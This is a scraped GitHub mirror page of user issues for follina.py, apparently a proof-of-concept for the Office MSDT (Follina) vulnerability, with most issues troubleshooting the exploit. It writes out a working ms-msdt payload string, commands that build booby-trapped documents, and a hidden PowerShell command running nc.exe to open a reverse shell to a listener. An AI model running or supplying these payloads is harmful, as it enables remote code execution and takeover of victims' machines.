Git Product home page Git Product logo

follina.py's Introduction

Cas van Cooten (@chvancooten)

Hey 👋! My name is Cas, I'm a Red Teamer based in the Netherlands. In my free time, I like to build offensive security tooling (OST), specifically in the Nim programming language. In the interest of transparency and to support the community in becoming better at offense and defense alike, I also like to publish my projects publicly as open-source software in a responsible manner (a much-debated point, I know).

Feel free to reach out if you have any questions about offensive development, red teaming, or other security topics! Always happy to chat.

Visit my website Follow me on Twitter Follow me on GitHub



follina.py's People

Contributors

aidenmitchell avatar chvancooten avatar danusminimus avatar mosajjal avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

follina.py's Issues

word+exp not work? I need help

I'm going to run this directly in Win+R

ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"

I can open calc,But using Word with exp shows that exp is loaded but MSDT is not executed

501 unsupported method

C:\Users\shaun\Desktop\follina.py>follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo whoami > c:\users\shaun\Desktop\follina.py\owned.txt'"
Generated 'clickme.docx' in current directory
Generated 'exploit.html' in 'www' directory
Serving payload on http://localhost:80/exploit.html
127.0.0.1 - - [30/May/2022 21:21:53] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:53] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:53] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:53] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:53] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] "GET /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] "GET /exploit.html HTTP/1.1" 304 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:56] "HEAD /exploit.html HTTP/1.1" 200 -

Getting this message when attempting to replicate.

Using a remote binary

Hello,

I'm trying to test the remote version of the exploit in a more realistic setting, i.e. I'm actually uploading an executable to a web server and trying to specify the url with the -u switch. But I get an error that says that I have to specify the executable:

$ python follina.py -t docx -m binary -u https://www.example.com/my_payload.exe
Binary mode requires a binary to be specified, e.g. -b '\\localhost\c$\Windows\System32\calc.exe'

My understanding is that by supplying an URL the script should generate an exploit that tries to retrieve the executable from the web server instead of searching locally, am I getting this wrong?

Listen for errors after the document is run

image

I am using the latest version today, and the document starts to report an error as soon as it runs. It seems that the http.server has not been successfully started?

Manually created http.server service can receive requests, but cannot go online cs :(

image

From the log, there is no request to access payloadps1,Which step am I doing wrong?🤔

Word Version

my server receives the connections, exploit doesnt seem to work with latest word version 2205 tho. got it working with older ones

MSDT PASS KEY

Hello,

When i try to execute the .doc file, it contact my server to download exploit.html but nothing happens.
What's more, when i reach exploit.html directly, it opens the mstd but with passkey and nothing happens....

I use Open Office 2019 and Windows 10. Do you have an idea about this issue ? I try on Windows 11 too.

Thank you.

why???

The first attack can succeed and then fail. It's strange

The path for called binary

Hi,
First of all, thank you for this PoC. The right usage shold be as follows for path of the binary.
python3 follina.py -m binary -b \\windows\\system32\\calc.exe -u <IP>
or
python3 follina.py -m binary -b calc.exe -u <IP>
Specifying with single back-slash causes that the specified binary is not found. This can be seen with following screenshoot.

Capture

Thank you again

Binary not opened in Windows 11

I have disabled Windows Defender Security and lauched the command :
python .\follina.py -t docx -m binary -b C:\Windows\System32\calc.exe

When I launch the docx I can perfectly see the GET requests from Word Office but the calc.exe doesn't open.
Obviously I have checked that I can manually open the calculator application.

What do you think the problem is ?
Thanks in advance.

Windows Defender Removing Generated Files

Windows Defender on Windows 8.1 (and perhaps above) will remove some generated files creating an OSError [ERRNO 22]. To fix this simply turn off windows defender.

-u doesn't seem to do anything

Hi there, I'm hoping to use this script to generate a Word document that gets the payload from a remote URL.

As mentioned in the docs, you can use -u to specify a URL, but it doesn't seem to do anything, the generated document still tries to reach out to localhost.

RTF url issue

Hey,
so I was playing around with this POC and I was trying to get a .rtf to pull the .html from a VM that wasnt the one executing the maldoc.
So I tried using the -u option but I noticed that it was still contacting http://localhost:80/exploit.html, even when the local server didnt even start.
To solve the issue I tried to mess with the rtf template and I noticed that there were 2 http://localhost:80/exploit.html instances, one generated by the {payload_url} in the py code and one hardcoded (to find it: ctrl + f > http://lo).
The weird thing is that even by changing both urls to the ip I was trying to contact the .rtf still performed GET requests to localhost.
Am I missing something obvious here?

Steps to reprodude the issue:

  1. python .\follina.py -t rtf -m command -c "Start-Process cmd.exe" -u https://google.com
  2. python .\follina.py -t docx -m command -c "Start-Process cmd.exe"
  3. open the .rtf
    A GET request will be logged and cmd.exe will start even tho I doubt that google is hosting exploit.html lol

Unneeded Argument For SimpleHTTPServer

For my version of python (3.6 I believe), the simple http server doesn’t take a directory argument and this needs to be removed and the HTML file put into the main directory as that is where the simple http server will serve files from.

Adding content

Is there a way to add content to docx/rtf file? Because after I've opened the file, added some content and saved it, it stoped working.

想要一个可以弹shell的命令

python .\follina.py -t docx -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c c:\windows\system32\nc.exe -e cmd 192.168.25.148 5555'" -H 192.168.25.148 -P 8080我试过这个,并且在攻击机打开nc监听,之后用靶机点击word文档,攻击机的8080可以监听到数据,但是5555并没有拿到nc反弹的shell。

FileNotFoundError

Traceback (most recent call last):
File "C:\TEMP\follina.py", line 23, in
with open("src/document.xml.rels.tpl", "r") as f:
FileNotFoundError: [Errno 2] No such file or directory: 'src/document.xml.rels.tpl'

Am I missing something beyond the python3 .\follina.py needed to execute this?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.